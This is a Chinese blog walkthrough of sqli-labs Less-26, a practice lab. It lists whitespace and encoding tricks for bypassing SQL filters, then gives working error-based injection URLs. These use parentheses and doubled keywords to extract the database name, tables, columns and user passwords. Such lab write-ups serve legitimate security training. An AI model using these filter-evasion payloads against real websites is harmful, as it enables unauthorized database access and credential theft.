首页 > 数据库 >sqli-labs less-26 空格绕过

sqli-labs less-26 空格绕过

时间:2024-10-13 22:48:52浏览次数:8  
标签:空格 26 20 less Less 192.168 labs 绕过

空格绕过

过滤空格

用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 //()
绕过空格注释符绕过//–%20/
/#–±- -;%00;

空白字符绕过SQLite3 —— 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + !
等科学计数法绕过
例:
select user,password from users where user_id0e1union select 1,2
unicode编码
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0

sqli-labs less-26

l在这里插入图片描述

来到less-26,从下面的提示不难猜测本关卡为绕过,首先输入的单引号,确定闭合方式为'单引号,

继续测试,发现注释符被过滤,构造

http://192.168.140.130/sq/Less-26/?id=1’ and ‘1’='1

发现and/or也被过滤,构造

http://192.168.140.130/sq/Less-26/?id=1’ aandnd ‘1’='1

在这里插入图片描述
此时,我们发现我们的的空格也被过滤了。
本来打算进行空格绕过的,但在不通的环境下,url编码绕过可能出现的情况不一样,且因为我没有在linux环境下搭建sqli-labs靶场,在我的靶场搭建在windows下的小皮面板上,使用空格编码绕过发现无效,使用我使用报错注入结合()来绕过空格。

绕过

数据库名

http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,concat(‘~’,(select (database()))))|| ‘1’='1

表名

http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,concat(‘~’,(select (group_concat(table_name))from(infoorrmation_schema.tables)where((table_schema=database())) )))|| ‘1’='1

列名

http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,concat(‘~’,(select (group_concat(column_name))from(infoorrmation_schema.columns)where((table_schema=database()%26%26(table_name=‘users’))) )))|| ‘1’='1

数据

http://192.168.140.130/sq/Less-26/?id=1’ || 1=extractvalue(1,substring((select(group_concat(username,‘~’,passwoorrd))from(security.users)),30,30))|| ‘1’='1

用控制()的方法实现了对空格的绕过,当然还有其他很多方法,不同的环境绕过方式也不一样,勇于尝试。

标签:空格,26,20,less,Less,192.168,labs,绕过
From: https://blog.csdn.net/wanggonghanfei/article/details/142900697

相关文章

  • sqli-labs less-25 and/or绕过
    来到less-25我们可以看到下面有提示,Hint:YourInputisFilteredwithfollowingresult:说明本关卡有过滤,构造http://192.168.140.130/sq/Less-25/?id=1’页面报错,从报错可以得知闭合方式为',所以用注释符,发现注释符被过滤了http://192.168.140.130/sq/Less-25......
  • 264 Deploying a Vue App(部署WebAPI和VUE)
    步骤一、CoachWebAPIIIS部署(后端)1、发布ASP.NETWebAPI程序a)修改Program.cs中的Swagger部分,如下//ConfiguretheHTTPrequestpipeline.//if(app.Environment.IsDevelopment())//{app.UseSwagger();//app.UseSwaggerUI();app.UseSwaggerUI(c=>......
  • 在qemu添加基于ast2600的设备
    公司的设备基于aspeed的ast2600.和ast2600-evt还是有不小差距,需要为了多模拟一些数据,需要添加新machine,修改部分设备.修改文件hw/arm/aspeed.c1.添加新的machinepf12, 基于ast2600-evb,提供一个classinit函数staticconstTypeInfoaspeed_machine_types[]......
  • 数据结构与算法Python版p26-p28 无序表链表实现、有序表
    B站视频-数据结构与算法Python版无序表链表实现、有序表一、节点二、无序表三、有序表一、节点#节点classNode:def__init__(self,initdata):self.data=initdataself.next=NonedefgetData(self):returnself.data......
  • 【AD2426/7/8_A2B收发器技术参考手册】第四章 事件控制
    【AD2426/7/8_A2B收发器技术参考手册】第四章事件控制四,A2B事件控制4.1错误管理4.1.1下行数据错误检测4.1.2上行数据错误检测4.1.3数据时隙错误纠正4.1.4控制和响应错误处理4.1.5错误信号4.1.6A2B通信和位错误4.1.7从属节点中断处理4.1.8错误管理寄存器4.1.......
  • 10.11 模拟赛(云智计划 模拟测#26)
    S---【云智计划】---6月23日---模拟测#26div1【补题】-比赛-梦熊联盟(mna.wang)S---【云智计划】---6月23日---模拟测#26div2【补题】-比赛-梦熊联盟(mna.wang)复盘A。看到\(n\)为偶数思路秒出。10min过样例。B。好像不太会做啊。模拟了样例2,猜出了一个很优的......
  • 靶场打靶系列 --- sqli-labs大全
    前提条件1.输入的数据作为sql语句执行了2.输入没有安全过滤3.sql语句根据输入拼接而成的4.在页面中有注入的输出点 我先介绍注入的大致思路0.判断网页逻辑。是否有sql报错,是否有注出点。1.判断注入点。发送特殊符号触发sql报错得知注入点,有’、“、)、无闭合符号。缺点......
  • The Bitter Lesson from Rich Sutton
    originThebiggestlessonthatcanbereadfrom70yearsofAIresearchisthatgeneralmethodsthatleveragecomputationareultimatelythemosteffective,andbyalargemargin.TheultimatereasonforthisisMoore'slaw,orratheritsgeneralizat......
  • upload-labs 文件上传靶场 详细攻略(pass1-10)
    前言:本篇文章主要讲解upload-labs第1-10关,原因是前十关的代码过滤思路大体上是相似的,无非是每关缺少了某几个函数导致过滤不严谨造成漏洞,因此可以归为一起学习,从而熟悉文件上传中常用的过滤函数,了解代码的原理和设计的目的文件上传漏洞对于文件上传漏洞的简要概括就......
  • 浅谈云原生--微服务、CICD、Serverless、服务网格
    往期推荐 浅学React和JSX-CSDN博客一文搞懂大数据流式计算引擎Flink【万字详解,史上最全】-CSDN博客一文入门大数据准流式计算引擎Spark【万字详解,全网最新】_大数据spark-CSDN博客目录1.云原生概念和特点2.常见云模式3.云对外提供服务的架构模式3.1IaaS(Infrast......